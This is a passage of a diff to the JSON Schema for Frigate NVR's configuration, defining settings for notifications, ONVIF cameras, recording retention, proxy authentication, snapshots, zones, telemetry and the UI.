configuration"}, "listen": {"$ref": "#/$defs/ListenConfig", "description": "Configuration for internal and external listening ports. This is for advanced users. For the majority of use cases it's recommended to change the ports section of your Docker compose file.", "title": "Listening ports configuration"}}, "title": "NetworkingConfig", "type": "object"}, "NotificationConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable notifications for all cameras; can be overridden per-camera.", "title": "Enable notifications", "type": "boolean"}, "email": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Email address used for push notifications or required by certain notification providers.", "title": "Notification email"}, "cooldown": {"default": 0, "description": "Cooldown (seconds) between notifications to avoid spamming recipients.", "minimum": 0, "title": "Cooldown period", "type": "integer"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether notifications were enabled in the original static configuration.", "title": "Original notifications state"}}, "title": "NotificationConfig", "type": "object"}, "ObjectClassificationType": {"enum": ["sub_label", "attribute"], "title": "ObjectClassificationType", "type": "string"}, "ObjectConfig": {"additionalProperties": false, "properties": {"track": {"default": ["person"], "description": "List of object labels to track for all cameras; can be overridden per-camera.", "items": {"type": "string"}, "title": "Objects to track", "type": "array"}, "filters": {"additionalProperties": {"$ref": "#/$defs/FilterConfig"}, "description": "Filters applied to detected objects to reduce false positives (area, ratio, confidence).", "title": "Object filters", "type": "object"}, "mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "description": "Mask polygon used to prevent object detection in specified areas.", "title": "Object mask", "type": "object"}, "raw_mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "title": "Raw Mask", "type": "object"}, "genai": {"$ref": "#/$defs/GenAIObjectConfig", "description": "GenAI options for describing tracked objects and sending frames for generation.", "title": "GenAI object config"}}, "title": "ObjectConfig", "type": "object"}, "ObjectMaskConfig": {"additionalProperties": false, "description": "Configuration for a single object mask.", "properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "A friendly name for this object mask used in the Frigate UI", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enable or disable this object mask", "title": "Enabled", "type": "boolean"}, "coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "description": "Ordered x,y coordinates defining the object mask polygon used to include/exclude areas.", "title": "Coordinates"}, "raw_coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "title": "Raw Coordinates"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Keep track of original state of object mask."}}, "title": "ObjectMaskConfig", "type": "object"}, "OnvifConfig": {"additionalProperties": false, "properties": {"host": {"default": "", "description": "Host (and optional scheme) for the ONVIF service for this camera.", "title": "ONVIF host", "type": "string"}, "port": {"default": 8000, "description": "Port number for the ONVIF service.", "title": "ONVIF port", "type": "integer"}, "user": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Username for ONVIF authentication; some devices require admin user for ONVIF.", "title": "ONVIF username"}, "password": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Password for ONVIF authentication.", "title": "ONVIF password"}, "tls_insecure": {"default": false, "description": "Skip TLS verification and disable digest auth for ONVIF (unsafe; use in safe networks only).", "title": "Disable TLS verify", "type": "boolean"}, "profile": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Specific ONVIF media profile to use for PTZ control, matched by token or name. If not set, the first profile with valid PTZ configuration is selected automatically.", "title": "ONVIF profile"}, "autotracking": {"$ref": "#/$defs/PtzAutotrackConfig", "description": "Automatically track moving objects and keep them centered in the frame using PTZ camera movements.", "title": "Autotracking"}, "ignore_time_mismatch": {"default": false, "description": "Ignore time synchronization differences between camera and Frigate server for ONVIF communication.", "title": "Ignore time mismatch", "type": "boolean"}}, "title": "OnvifConfig", "type": "object"}, "PixelFormatEnum": {"enum": ["rgb", "bgr", "yuv"], "title": "PixelFormatEnum", "type": "string"}, "ProfileDefinitionConfig": {"additionalProperties": false, "description": "Defines a named profile with a human-readable display name.\n\nThe dict key is the machine name used internally; friendly_name\nis the label shown in the UI and API responses.", "properties": {"friendly_name": {"description": "Display name for this profile shown in the UI.", "title": "Friendly name", "type": "string"}}, "required": ["friendly_name"], "title": "ProfileDefinitionConfig", "type": "object"}, "ProxyConfig": {"additionalProperties": false, "properties": {"header_map": {"$ref": "#/$defs/HeaderMappingConfig", "description": "Map incoming proxy headers to Frigate user and role fields for proxy-based auth.", "title": "Header mapping"}, "logout_url": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "URL to redirect users to when logging out via the proxy.", "title": "Logout URL"}, "auth_secret": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional secret checked against the X-Proxy-Secret header to verify trusted proxies.", "title": "Proxy secret"}, "default_role": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": "viewer", "description": "Default role assigned to proxy-authenticated users when no role mapping applies. Set to 'none' to deny access to unmapped users.", "title": "Default role"}, "separator": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": ",", "description": "Character used to split multiple values provided in proxy headers.", "title": "Separator character"}}, "title": "ProxyConfig", "type": "object"}, "PtzAutotrackConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable automatic PTZ camera tracking of detected objects.", "title": "Enable Autotracking", "type": "boolean"}, "calibrate_on_startup": {"default": false, "description": "Measure PTZ motor speeds on startup to improve tracking accuracy. Frigate will update config with movement_weights after calibration.", "title": "Calibrate on start", "type": "boolean"}, "zooming": {"$ref": "#/$defs/ZoomingModeEnum", "default": "disabled", "description": "Control zoom behavior: disabled (pan/tilt only), absolute (most compatible), or relative (concurrent pan/tilt/zoom).", "title": "Zoom mode"}, "zoom_factor": {"default": 0.3, "description": "Control zoom level on tracked objects. Lower values keep more scene in view; higher values zoom in closer but may lose tracking. Values between 0.1 and 0.75.", "maximum": 0.75, "minimum": 0.1, "title": "Zoom factor", "type": "number"}, "track": {"default": ["person"], "description": "List of object types that should trigger autotracking.", "items": {"type": "string"}, "title": "Tracked objects", "type": "array"}, "required_zones": {"description": "Objects must enter one of these zones before autotracking begins.", "items": {"type": "string"}, "title": "Required zones", "type": "array"}, "return_preset": {"default": "home", "description": "ONVIF preset name configured in camera firmware to return to after tracking ends.", "title": "Return preset", "type": "string"}, "timeout": {"default": 10, "description": "Wait this many seconds after losing tracking before returning camera to preset position.", "title": "Return timeout", "type": "integer"}, "movement_weights": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}, {"type": "null"}], "description": "Calibration values automatically generated by camera calibration. Do not modify manually.", "title": "Movement weights"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Internal field to track whether autotracking was enabled in configuration.", "title": "Original autotrack state"}}, "title": "PtzAutotrackConfig", "type": "object"}, "RecordConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable recording for all cameras; can be overridden per-camera.", "title": "Enable recording", "type": "boolean"}, "expire_interval": {"default": 60, "description": "Minutes between cleanup passes that remove expired recording segments.", "minimum": 1, "title": "Record cleanup interval", "type": "integer"}, "continuous": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain recordings regardless of tracked objects or motion. Set to 0 if you only want to retain recordings of alerts and detections.", "title": "Continuous retention"}, "motion": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain recordings triggered by motion regardless of tracked objects. Set to 0 if you only want to retain recordings of alerts and detections.", "title": "Motion retention"}, "detections": {"$ref": "#/$defs/EventsConfig", "description": "Recording retention settings for detection events including pre/post capture durations.", "title": "Detection retention"}, "alerts": {"$ref": "#/$defs/EventsConfig", "description": "Recording retention settings for alert events including pre/post capture durations.", "title": "Alert retention"}, "export": {"$ref": "#/$defs/RecordExportConfig", "description": "Settings used when exporting recordings such as timelapse and hardware acceleration.", "title": "Export config"}, "preview": {"$ref": "#/$defs/RecordPreviewConfig", "description": "Settings controlling the quality of recording previews shown in the UI.", "title": "Preview config"}, "sub": {"$ref": "#/$defs/RecordSubConfig", "description": "Settings for recording a second, lower quality stream.", "title": "Sub stream recording"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether recording was enabled in the original static configuration.", "title": "Original recording state"}}, "title": "RecordConfig", "type": "object"}, "RecordExportConfig": {"additionalProperties": false, "properties": {"hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "auto", "description": "Hardware acceleration args to use for export/transcode operations.", "title": "Export hwaccel args"}, "max_concurrent": {"default": 3, "description": "Maximum number of export jobs to process at the same time.", "minimum": 1, "title": "Maximum concurrent exports", "type": "integer"}, "chapters": {"$ref": "#/$defs/ChaptersEnum", "default": "review_items", "title": "Chapter metadata to embed in exported recordings"}}, "title": "RecordExportConfig", "type": "object"}, "RecordPreviewConfig": {"additionalProperties": false, "properties": {"quality": {"$ref": "#/$defs/RecordQualityEnum", "default": "medium", "description": "Preview quality level (very_low, low, medium, high, very_high).", "title": "Preview quality"}}, "title": "RecordPreviewConfig", "type": "object"}, "RecordQualityEnum": {"enum": ["very_low", "low", "medium", "high", "very_high"], "title": "RecordQualityEnum", "type": "string"}, "RecordRetainConfig": {"additionalProperties": false, "properties": {"days": {"default": 0, "description": "Days to retain recordings.", "minimum": 0.0, "title": "Retention days", "type": "number"}}, "title": "RecordRetainConfig", "type": "object"}, "RecordSubConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable recording of a second, lower quality stream for adaptive quality playback and extended retention.", "title": "Enable sub stream recording", "type": "boolean"}, "continuous": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain sub stream recordings regardless of tracked objects or motion.", "title": "Sub stream continuous retention"}, "motion": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain sub stream recordings triggered by motion.", "title": "Sub stream motion retention"}, "alerts": {"$ref": "#/$defs/ReviewRetainConfig", "description": "Retention settings for sub stream recordings of alerts.", "title": "Sub stream alert retention"}, "detections": {"$ref": "#/$defs/ReviewRetainConfig", "description": "Retention settings for sub stream recordings of detections.", "title": "Sub stream detection retention"}}, "title": "RecordSubConfig", "type": "object"}, "ReplaceRule": {"additionalProperties": false, "properties": {"pattern": {"title": "Regex pattern", "type": "string"}, "replacement": {"title": "Replacement string", "type": "string"}}, "required": ["pattern", "replacement"], "title": "ReplaceRule", "type": "object"}, "RestreamConfig": {"additionalProperties": true, "properties": {}, "title": "RestreamConfig", "type": "object"}, "RetainConfig": {"additionalProperties": false, "properties": {"default": {"type": "number", "default": 10, "title": "Default retention", "description": "Default number of days to retain snapshots."}, "objects": {"additionalProperties": {"type": "number"}, "description": "Per-object overrides for snapshot retention days.", "title": "Object retention", "type": "object"}}, "title": "RetainConfig", "type": "object"}, "RetainModeEnum": {"enum": ["all", "motion", "active_objects"], "title": "RetainModeEnum", "type": "string"}, "ReviewConfig": {"additionalProperties": false, "properties": {"alerts": {"$ref": "#/$defs/AlertsConfig", "description": "Settings for which tracked objects generate alerts and how alerts are retained.", "title": "Alerts config"}, "detections": {"$ref": "#/$defs/DetectionsConfig", "description": "Settings for which tracked objects generate detections (non-alert) and how detections are retained.", "title": "Detections config"}, "genai": {"$ref": "#/$defs/GenAIReviewConfig", "description": "Controls use of generative AI for producing descriptions and summaries of review items.", "title": "GenAI config"}}, "title": "ReviewConfig", "type": "object"}, "ReviewFrameModeEnum": {"description": "How review frames are presented to the GenAI provider.", "enum": ["frames", "annotated_frames"], "title": "ReviewFrameModeEnum", "type": "string"}, "ReviewResponseStyleEnum": {"description": "Writing style presets for GenAI review descriptions.", "enum": ["default", "natural", "concise", "detailed"], "title": "ReviewResponseStyleEnum", "type": "string"}, "ReviewRetainConfig": {"additionalProperties": false, "properties": {"days": {"default": 10, "description": "Number of days to retain recordings of detection events.", "minimum": 0.0, "title": "Retention days", "type": "number"}, "mode": {"$ref": "#/$defs/RetainModeEnum", "default": "motion", "description": "Mode for retention: all (save all segments), motion (save segments with motion), or active_objects (save segments with active objects).", "title": "Retention mode"}}, "title": "ReviewRetainConfig", "type": "object"}, "SemanticSearchConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable the semantic search feature.", "title": "Enable semantic search", "type": "boolean"}, "reindex": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "Trigger a full reindex of historical tracked objects into the embeddings database.", "title": "Reindex on startup"}, "model": {"anyOf": [{"$ref": "#/$defs/SemanticSearchModelEnum"}, {"type": "string"}, {"type": "null"}], "default": "jinav1", "description": "The embeddings model to use for semantic search (for example 'jinav1'), or the name of a GenAI provider with the embeddings role.", "title": "Semantic search model or GenAI provider name"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Select model size; 'small' runs on CPU and 'large' typically requires GPU.", "title": "Model size"}, "device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "This is an override, to target a specific device. See https://onnxruntime.ai/docs/execution-providers/ for more information", "title": "Device"}}, "title": "SemanticSearchConfig", "type": "object"}, "SemanticSearchModelEnum": {"enum": ["jinav1", "jinav2"], "title": "SemanticSearchModelEnum", "type": "string"}, "SnapshotsConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable saving snapshots for all cameras; can be overridden per-camera.", "title": "Enable snapshots", "type": "boolean"}, "timestamp": {"default": false, "description": "Overlay a timestamp on snapshots from API.", "title": "Timestamp overlay", "type": "boolean"}, "bounding_box": {"default": true, "description": "Draw bounding boxes for tracked objects on snapshots from API.", "title": "Bounding box overlay", "type": "boolean"}, "crop": {"default": false, "description": "Crop snapshots from API to the detected object's bounding box.", "title": "Crop snapshot", "type": "boolean"}, "required_zones": {"description": "Zones an object must enter for a snapshot to be saved.", "items": {"type": "string"}, "title": "Required zones", "type": "array"}, "height": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Height (pixels) to resize snapshots from API to; leave empty to preserve original size.", "title": "Snapshot height"}, "retain": {"$ref": "#/$defs/RetainConfig", "description": "Retention settings for snapshots including default days and per-object overrides.", "title": "Snapshot retention"}, "quality": {"default": 60, "description": "Encode quality for saved snapshots (0-100).", "maximum": 100, "minimum": 0, "title": "Snapshot quality", "type": "integer"}}, "title": "SnapshotsConfig", "type": "object"}, "StationaryConfig": {"additionalProperties": false, "properties": {"interval": {"anyOf": [{"exclusiveMinimum": 0, "type": "integer"}, {"type": "null"}], "default": null, "description": "How often (in frames) to run a detection check to confirm a stationary object.", "title": "Stationary interval"}, "threshold": {"anyOf": [{"minimum": 1, "type": "integer"}, {"type": "null"}], "default": null, "description": "Number of frames with no position change required to mark an object as stationary.", "title": "Stationary threshold"}, "max_frames": {"$ref": "#/$defs/StationaryMaxFramesConfig", "description": "Limits how long stationary objects are tracked before being discarded.", "title": "Max frames"}, "classifier": {"default": true, "description": "Use a visual classifier to detect truly stationary objects even when bounding boxes jitter.", "title": "Enable visual classifier", "type": "boolean"}}, "title": "StationaryConfig", "type": "object"}, "StationaryMaxFramesConfig": {"additionalProperties": false, "properties": {"default": {"anyOf": [{"minimum": 1, "type": "integer"}, {"type": "null"}], "default": null, "title": "Default max frames", "description": "Default maximum frames to track a stationary object before stopping."}, "objects": {"additionalProperties": {"type": "integer"}, "description": "Per-object overrides for maximum frames to track stationary objects.", "title": "Object max frames", "type": "object"}}, "title": "StationaryMaxFramesConfig", "type": "object"}, "StatsConfig": {"additionalProperties": false, "properties": {"amd_gpu_stats": {"default": true, "description": "Enable collection of AMD GPU statistics if an AMD GPU is present.", "title": "AMD GPU stats", "type": "boolean"}, "intel_gpu_stats": {"default": true, "description": "Enable collection of Intel GPU statistics if an Intel GPU is present.", "title": "Intel GPU stats", "type": "boolean"}, "network_bandwidth": {"default": false, "description": "Enable per-process network bandwidth monitoring for camera ffmpeg processes and detectors (requires capabilities).", "title": "Network bandwidth", "type": "boolean"}, "intel_gpu_device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "PCI bus address or DRM device path (e.g. /dev/dri/card1) used to pin Intel GPU stats to a specific device when multiple are present.", "title": "Intel GPU device"}}, "title": "StatsConfig", "type": "object"}, "TelemetryConfig": {"additionalProperties": false, "properties": {"network_interfaces": {"default": [], "description": "List of network interface name prefixes to monitor for bandwidth statistics.", "items": {"type": "string"}, "title": "Network interfaces", "type": "array"}, "stats": {"$ref": "#/$defs/StatsConfig", "description": "Options to enable/disable collection of various system and GPU statistics.", "title": "System stats"}, "version_check": {"default": true, "description": "Enable an outbound check to detect if a newer Frigate version is available.", "title": "Version check", "type": "boolean"}}, "title": "TelemetryConfig", "type": "object"}, "TimeFormatEnum": {"enum": ["browser", "12hour", "24hour"], "title": "TimeFormatEnum", "type": "string"}, "TimestampEffectEnum": {"enum": ["solid", "shadow"], "title": "TimestampEffectEnum", "type": "string"}, "TimestampPositionEnum": {"enum": ["tl", "tr", "bl", "br"], "title": "TimestampPositionEnum", "type": "string"}, "TimestampStyleConfig": {"additionalProperties": false, "properties": {"position": {"$ref": "#/$defs/TimestampPositionEnum", "default": "tl", "description": "Position of the timestamp on the image (tl/tr/bl/br).", "title": "Timestamp position"}, "format": {"default": "%m/%d/%Y %H:%M:%S", "description": "Datetime format string used for timestamps (Python datetime format codes).", "title": "Timestamp format", "type": "string"}, "color": {"$ref": "#/$defs/ColorConfig", "description": "RGB color values for the timestamp text (all values 0-255).", "title": "Timestamp color"}, "thickness": {"default": 2, "description": "Line thickness of the timestamp text.", "title": "Timestamp thickness", "type": "integer"}, "effect": {"anyOf": [{"$ref": "#/$defs/TimestampEffectEnum"}, {"type": "null"}], "default": null, "description": "Visual effect for the timestamp text (none, solid, shadow).", "title": "Timestamp effect"}}, "title": "TimestampStyleConfig", "type": "object"}, "TlsConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable TLS for Frigate's web UI and API on the configured TLS port.", "title": "Enable TLS", "type": "boolean"}}, "title": "TlsConfig", "type": "object"}, "TriggerAction": {"enum": ["notification", "sub_label", "attribute"], "title": "TriggerAction", "type": "string"}, "TriggerConfig": {"additionalProperties": false, "properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional friendly name displayed in the UI for this trigger.", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enable or disable this semantic search trigger.", "title": "Enable this trigger", "type": "boolean"}, "type": {"$ref": "#/$defs/TriggerType", "default": "description", "description": "Type of trigger: 'thumbnail' (match against image) or 'description' (match against text).", "title": "Trigger type"}, "data": {"description": "Text phrase or thumbnail ID to match against tracked objects.", "title": "Trigger content", "type": "string"}, "threshold": {"default": 0.8, "description": "Minimum similarity score (0-1) required to activate this trigger.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Trigger threshold", "type": "number"}, "actions": {"default": [], "description": "List of actions to execute when trigger matches (notification, sub_label, attribute).", "items": {"$ref": "#/$defs/TriggerAction"}, "title": "Trigger actions", "type": "array"}}, "required": ["data"], "title": "TriggerConfig", "type": "object"}, "TriggerType": {"enum": ["thumbnail", "description"], "title": "TriggerType", "type": "string"}, "UIConfig": {"additionalProperties": false, "properties": {"timezone": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional timezone to display across the UI (defaults to browser local time if unset).", "title": "Timezone"}, "time_format": {"$ref": "#/$defs/TimeFormatEnum", "default": "browser", "description": "Time format to use in the UI (browser, 12hour, or 24hour).", "title": "Time format"}, "unit_system": {"$ref": "#/$defs/UnitSystemEnum", "default": "metric", "description": "Unit system for display (metric or imperial) used in the UI and MQTT.", "title": "Unit system"}}, "title": "UIConfig", "type": "object"}, "UnitSystemEnum": {"enum": ["imperial", "metric"], "title": "UnitSystemEnum", "type": "string"}, "ZoneConfig": {"properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "A user-friendly name for the zone, displayed in the Frigate UI. If not set, a formatted version of the zone name will be used.", "title": "Zone name"}, "enabled": {"default": true, "description": "Enable or disable this zone. Disabled zones are ignored at runtime.", "title": "Enabled", "type": "boolean"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Keep track of original state of zone."}, "filters": {"additionalProperties": {"$ref": "#/$defs/FilterConfig"}, "description": "Filters to apply to objects within this zone. Used to reduce false positives or restrict which objects are considered present in the zone.", "title": "Zone filters", "type": "object"}, "coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Polygon coordinates that define the zone area. Can be a comma-separated string or a list of coordinate strings. Coordinates should be relative (0-1) or absolute (legacy).", "title": "Coordinates"}, "distances": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}, {"type": "null"}], "description": "Optional real-world distances for each side of the zone quadrilateral, used for speed or distance calculations. Must have exactly 4 values if set.", "title": "Real-world distances"}, "inertia": {"default": 3, "description": "Number of consecutive frames an object must be detected in the zone before it is considered present. Helps filter out transient detections.", "exclusiveMinimum": 0, "title": "Inertia frames", "type": "integer"}, "loitering_time": {"default": 0, "description": "Number of seconds an object must remain in the zone to be considered as loitering. Set to 0 to disable loitering detection.", "minimum": 0, "title": "Loitering seconds", "type": "integer"}, "speed_threshold": {"anyOf": [{"minimum": 0.1, "type": "number"}, {"type": "null"}], "default": null, "description": "Minimum speed (in real-world units if distances are set) required for an object to be considered present in the zone. Used for speed-based zone triggers.", "title": "Minimum speed"}, "objects": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "List of object types (from labelmap) that can trigger this zone. Can be a string or a list of strings. If empty, all objects are considered.", "title": "Trigger objects"}}, "required": ["coordinates"], "title": "ZoneConfig", "type": "object"}, "ZoomingModeEnum": {"enum": ["disabled", "absolute", "relative"], "title": "ZoomingModeEnum", "type": "string"}}, "additionalProperties": false, "properties": {"version": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Numeric or string version of the active configuration to help detect migrations or format changes.", "title": "Current config version"}, "safe_mode": {"default": false, "description": "When enabled, start Frigate in safe mode with reduced features for troubleshooting.", "title": "Safe mode", "type": "boolean"}, "environment_vars": {"additionalProperties": {"type": "string"}, "description": "Key/value pairs of environment variables to set for the Frigate process in Home Assistant OS. Non-HAOS users must use Docker environment variable configuration instead.", "title": "Environment variables", "type": "object"}, "logger": {"$ref": "#/$defs/LoggerConfig", "description": "Controls default log verbosity and per-component log level overrides.", "title": "Logging"}, "auth": {"$ref": "#/$defs/AuthConfig", "description": "Authentication and session-related settings including cookie and rate limit options.", "title": "Authentication"}, "database": {"$ref": "#/$defs/DatabaseConfig", "description": "Settings for the SQLite database used by Frigate to store tracked object and recording metadata.", "title": "Database"}, "go2rtc": {"$ref": "#/$defs/RestreamConfig", "description": "Settings for the integrated go2rtc restreaming service used for live stream relaying and translation.", "title": "go2rtc"}, "mqtt": {"$ref": "#/$defs/MqttConfig", "description": "Settings for connecting and publishing telemetry, snapshots, and event details to an MQTT broker.", "title": "MQTT"}, "notifications": {"$ref": "#/$defs/NotificationConfig", "description": "Settings to enable and control notifications for all cameras; can be overridden per-camera.", "title": "Notifications"}, "networking": {"$ref": "#/$defs/NetworkingConfig", "description": "Network-related settings such as IPv6 enablement for Frigate endpoints.", "title": "Networking"}, "proxy": {"$ref": "#/$defs/ProxyConfig", "description": "Settings for integrating Frigate behind a reverse proxy that passes authenticated user headers.", "title": "Proxy"}, "telemetry": {"$ref": "#/$defs/TelemetryConfig", "description": "System telemetry and stats options including GPU and network bandwidth monitoring.", "title": "Telemetry"}, "tls": {"$ref": "#/$defs/TlsConfig", "description": "TLS settings for Frigate's web endpoints (port 8971).", "title": "TLS"}, "ui": {"$ref": "#/$defs/UIConfig", "description": "User interface preferences such as timezone, time/date formatting, and units.", "title": "UI"}, "models": {"description": "Object detection models and the hardware each one runs on. Cameras pick a model by matching their detect.scene against a model's scene, falling back to the 'default' model.", "items": {"$ref": "#/$defs/ModelConfig"}, "title": "Detection models", "type": "array"}, "genai": {"additionalProperties": {"$ref": "#/$defs/GenAIConfig"}, "description": "Settings for integrated generative AI providers used to generate object descriptions and review summaries.", "title": "Generative AI configuration", "type": "object"}, "cameras": {"additionalProperties": {"$ref": "#/$defs/CameraConfig"}, "description": "Cameras", "title": "Cameras", "type": "object"}, "audio": {"$ref": "#/$defs/AudioConfig", "description": "Settings for audio-based event detection for all cameras; can be overridden per-camera.", "title": "Audio detection"}, "birdseye": {"$ref": "#/$defs/BirdseyeConfig", "description": "Settings for the Birdseye composite view that composes multiple camera feeds into a single layout.", "title": "Birdseye"}, "detect": {"$ref": "#/$defs/DetectConfig", "description": "Settings for the detection/detect role used to run object detection and initialize trackers.", "title": "Object Detection"}, "ffmpeg": {"$ref": "#/$defs/FfmpegConfig", "description": "FFmpeg settings including binary path, args, hwaccel options, and per-role output args.", "title": "FFmpeg"}, "live": {"$ref": "#/$defs/CameraLiveConfig", "description": "Settings to control the jsmpeg live stream resolution and quality. This does not affect restreamed cameras that use go2rtc for live view.", "title": "Live playback"}, "motion": {"anyOf": [{"$ref": "#/$defs/MotionConfig"}, {"type": "null"}], "default": null, "description": "Default motion detection settings applied to cameras unless overridden per-camera.", "title": "Motion detection"}, "objects": {"$ref": "#/$defs/ObjectConfig", "description": "Object tracking defaults including which labels to track and per-object filters.", "title": "Objects"}, "record": {"$ref": "#/$defs/RecordConfig", "description": "Recording and retention settings applied to cameras unless overridden per-camera.", "title": "Recording"}, "review": {"$ref": "#/$defs/ReviewConfig", "description": "Settings that control alerts, detections, and GenAI review summaries used by the UI and storage.", "title": "Review"}, "snapshots": {"$ref": "#/$defs/SnapshotsConfig", "description": "Settings for API-generated snapshots of tracked objects for all cameras; can be overridden per-camera.", "title": "Snapshots"}, "timestamp_style": {"$ref": "#/$defs/TimestampStyleConfig", "description": "Styling options for in-feed timestamps applied to debug view and snapshots.", "title": "Timestamp style"}, "audio_transcription": {"$ref": "#/$defs/AudioTranscriptionConfig", "description": "Settings for live and speech audio transcription used for events and live captions.", "title": "Audio transcription"}, "classification": {"$ref": "#/$defs/ClassificationConfig", "description": "Settings for classification models used to refine object labels or state classification.", "title": "Object classification"}, "semantic_search": {"$ref": "#/$defs/SemanticSearchConfig", "description": "Settings for Semantic Search which builds and queries object embeddings to find similar items.", "title": "Semantic Search"}, "face_recognition": {"$ref": "#/$defs/FaceRecognitionConfig", "description": "Settings for face detection and recognition for all cameras; can be overridden per-camera.", "title": "Face recognition"}, "lpr": {"$ref": "#/$defs/LicensePlateRecognitionConfig", "description": "License plate recognition settings including detection thresholds, formatting, and known plates.", "title": "License Plate Recognition"}, "camera_groups": {"additionalProperties": {"$ref": "#/$defs/CameraGroupConfig"}, "description": "Configuration for named camera groups used to organize cameras in the UI.", "title": "Camera groups", "type": "object"}, "profiles": {"additionalProperties": {"$ref": "#/$defs/ProfileDefinitionConfig"}, "description": "Named profile definitions with friendly names. Camera profiles must reference names defined here.", "title": "Profiles", "type": "object"}, "active_profile": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Currently active profile name. Runtime-only, not persisted in YAML.", "title": "Active profile"}}, "required": ["mqtt", "cameras"], "title": "FrigateConfig", "type": "object"} \ No newline at end of file +{"$defs": {"AlertsConfig": {"additionalProperties": false, "description": "Configure alerts", "properties": {"enabled": {"default": true, "description": "Enable or disable alert generation for all cameras; can be overridden per-camera.", "title": "Enable alerts", "type": "boolean"}, "labels": {"default": ["person", "car"], "description": "List of object labels that qualify as alerts (for example: car, person).", "items": {"type": "string"}, "title": "Alert labels", "type": "array"}, "required_zones": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Zones that an object must enter to be considered an alert; leave empty to allow any zone.", "title": "Required zones"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Tracks whether alerts were originally enabled in the static configuration.", "title": "Original alerts state"}, "cutoff_time": {"default": 40, "description": "Seconds to wait after no alert-causing activity before cutting off an alert.", "title": "Alerts cutoff time", "type": "integer"}}, "title": "AlertsConfig", "type": "object"}, "AudioConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable audio event detection for all cameras; can be overridden per-camera.", "title": "Enable audio detection", "type": "boolean"}, "max_not_heard": {"default": 30, "description": "Amount of seconds without the configured audio type before the audio event is ended.", "title": "End timeout", "type": "integer"}, "min_volume": {"default": 500, "description": "Minimum RMS volume threshold required to run audio detection; lower values increase sensitivity (e.g., 200 high, 500 medium, 1000 low).", "title": "Minimum volume", "type": "integer"}, "listen": {"default": ["bark", "fire_alarm", "speech", "yell"], "description": "List of audio event types to detect (for example: bark, fire_alarm, speech, yell).", "items": {"type": "string"}, "title": "Listen types", "type": "array"}, "labelmap": {"additionalProperties": {"type": "string"}, "description": "Overrides or remapping entries to merge into the standard audio labelmap.", "title": "Audio labelmap customization", "type": "object"}, "filters": {"anyOf": [{"additionalProperties": {"$ref": "#/$defs/AudioFilterConfig"}, "type": "object"}, {"type": "null"}], "default": null, "description": "Per-audio-type filter settings such as confidence thresholds used to reduce false positives.", "title": "Audio filters"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether audio detection was originally enabled in the static config file.", "title": "Original audio state"}, "num_threads": {"default": 2, "description": "Number of threads to use for audio detection processing.", "minimum": 1, "title": "Detection threads", "type": "integer"}}, "title": "AudioConfig", "type": "object"}, "AudioFilterConfig": {"additionalProperties": false, "properties": {"threshold": {"default": 0.8, "description": "Minimum confidence threshold for the audio event to be counted.", 